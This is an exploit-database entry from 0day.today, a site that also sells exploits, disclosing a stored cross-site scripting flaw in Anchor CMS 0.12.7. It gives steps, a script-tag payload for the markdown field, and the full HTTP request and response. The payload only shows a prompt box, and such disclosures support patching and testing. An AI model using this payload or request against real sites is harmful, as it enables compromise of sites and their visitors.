0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Anchor CMS 0.12.7 - (markdown) Stored Cross-Site Scripting Vulnerability
[# Exploit Title: Anchor CMS 0.12.7 - 'markdown' Stored Cross-Site Scripting
# Exploit Author: Ramazan Mert GÖKTEN
# Vendor Homepage: anchorcms.com
# Vulnerable Software: https://github.com/anchorcms/anchor-cms/releases/download/0.12.7/anchor-cms-0.12.7-bundled.zip
# Affected Version: [ 0.12.7 ]
# Tested on: Windows 10
# Vulnerable Parameter Type: POST
# Vulnerable Parameter: markdown
# Attack Pattern: <script>prompt("RMG_XSS_PoC")</script>
# Description
Exploitation of vulnerability as shown below;
1-) Entering the Admin Panel ( vulnerableapplication.com/anchor/admin )
2-) Click Create a new post button at the Posts tab ( From "vulnerableapplication.com/anchor/admin/posts " to "vulnerableapplication.com/anchor/admin/posts/add " )
3-) Relevant payload (<script>prompt("RMG_XSS_PoC")</script>) which was defined above entering the markdown parameter then click "save" button
4-) Finally, turn back the home page then shown the triggered vulnerability
# Proof of Concepts:
Request;
POST /anchor/admin/posts/add HTTP/1.1
Host: vulnerableapplication.com
Connection: close
Content-Length: 234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://vulnerableapplication.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerableapplication.com/anchor/admin/posts/add
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9
Cookie: anchorcms=eokq2ggm8mc4ulg2ii01a92a7d1jqvof7er085tqp9mvmdk2i3h1;
_ga=GA1.2.798164571.1610282526; _gid=GA1.2.1405266792.1610282526; _gat=1
token=uyBOhuKe5lRACERuFGu9CzEqUVe9b6LgfNLFWA6rJJOjG5BPUr2XxZzUV0pMXiQn&title=xss-poc-test&markdown=%3Cscript%3Eprompt(%22RMG_XSS_PoC%22)%3C%2Fscript%3E&slug=xss-poc-test&description=&status=published&category=8&css=&js=&autosave=false
Response;
HTTP/1.1 200 OK
Date: Sun, 10 Jan 2021 12:50:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 105
{"id":"3","notification":"Your new article was
created","redirect":"\/anchor\/admin\/posts\/edit\/3"}
# 0day.today [2024-11-15] #